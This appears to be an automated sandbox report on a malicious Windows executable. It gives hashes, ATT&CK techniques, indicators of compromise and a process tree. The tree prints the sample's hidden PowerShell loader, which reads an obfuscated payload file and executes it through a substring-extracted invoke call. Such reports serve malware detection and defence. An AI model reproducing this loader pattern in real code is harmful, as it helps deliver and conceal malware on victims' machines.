cb299d64a1dd6aba4df3ffad101b457631e1bed26d3c2641e24dbcbf997e8198

General

Target

Unincriminated.exe
Size

590KB
MD5

aebe5d9f0660fda82bf33bf77d83fec6
SHA1

3af47a8f25b82c72956d40dd1562007557a7ba13
SHA256

cb299d64a1dd6aba4df3ffad101b457631e1bed26d3c2641e24dbcbf997e8198
SHA512

57d805b578bf552edfeadad9ae8f7c918fb6088f60e40bae96ed16733f392769b0d5546f0078435ac0888de41c20caf7bb0e2d7f74750a73e1615632cdc1ff8b
SSDEEP

12288:jBIJsQVQSt1CTpyH/Co5gYZBFbSn/ODuOCCF:CJsQV9QmCKgGZwCF

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3348	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3864	3348	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Unincriminated.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4280 wrote to memory of 3348	4280	Unincriminated.exe	85
PID 4280 wrote to memory of 3348	4280	Unincriminated.exe	85
PID 4280 wrote to memory of 3348	4280	Unincriminated.exe	85

C:\Users\Admin\AppData\Local\Temp\Unincriminated.exe
"C:\Users\Admin\AppData\Local\Temp\Unincriminated.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Pingpongen=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Hydrocolloid.Smu85';$Sylviculture=$Pingpongen.SubString(54615,3);.$Sylviculture($Pingpongen)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3348 -s 2524
    3⤵
    - Program crash
    PID:3864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3348 -ip 3348
1⤵
PID:984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jsfy44y3.tg1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Hydrocolloid.Smu85

Filesize
53KB

MD5
d723e1badbd605c1d9927fa5ec0e5234

SHA1
1bdf09a5e12e1757fa868d25f7b100c6fc9b343e

SHA256
252830797da704b9e82d40c2047d718a86511fc63c6f51b02fda19335a8bfcf8

SHA512
cda4b135e517034a70d09d1feffda4c0727dc2d2ffadc2f9240de3fd7d22c2c6defba090216656b26a5a2e5f4ee90ea2ffd2665be25f8e62b005ec3696269856

Download Submit
memory/3348-17-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/3348-24-0x0000000006780000-0x00000000067CC000-memory.dmp

Filesize
304KB

Download
memory/3348-10-0x0000000005F40000-0x0000000005F62000-memory.dmp

Filesize
136KB

Download
memory/3348-9-0x0000000074520000-0x0000000074CD0000-memory.dmp

Filesize
7.7MB

Download
memory/3348-11-0x0000000005FE0000-0x0000000006046000-memory.dmp

Filesize
408KB

Download
memory/3348-8-0x0000000005860000-0x0000000005E88000-memory.dmp

Filesize
6.2MB

Download
memory/3348-5-0x000000007452E000-0x000000007452F000-memory.dmp

Filesize
4KB

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memory/3348-22-0x0000000006130000-0x0000000006484000-memory.dmp

Filesize
3.3MB

Download
memory/3348-23-0x00000000066D0000-0x00000000066EE000-memory.dmp

Filesize
120KB

Download
memory/3348-7-0x0000000074520000-0x0000000074CD0000-memory.dmp

Filesize
7.7MB

Download
memory/3348-25-0x00000000076B0000-0x0000000007746000-memory.dmp

Filesize
600KB

Download
memory/3348-26-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

Filesize
104KB

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memory/3348-27-0x0000000006C40000-0x0000000006C62000-memory.dmp

Filesize
136KB

Download
memory/3348-28-0x0000000007D00000-0x00000000082A4000-memory.dmp

Filesize
5.6MB

Download
memory/3348-6-0x0000000003100000-0x0000000003136000-memory.dmp

Filesize
216KB

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memory/3348-30-0x0000000008930000-0x0000000008FAA000-memory.dmp

Filesize
6.5MB

Download
memory/3348-32-0x0000000074520000-0x0000000074CD0000-memory.dmp

Filesize
7.7MB

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Analysis

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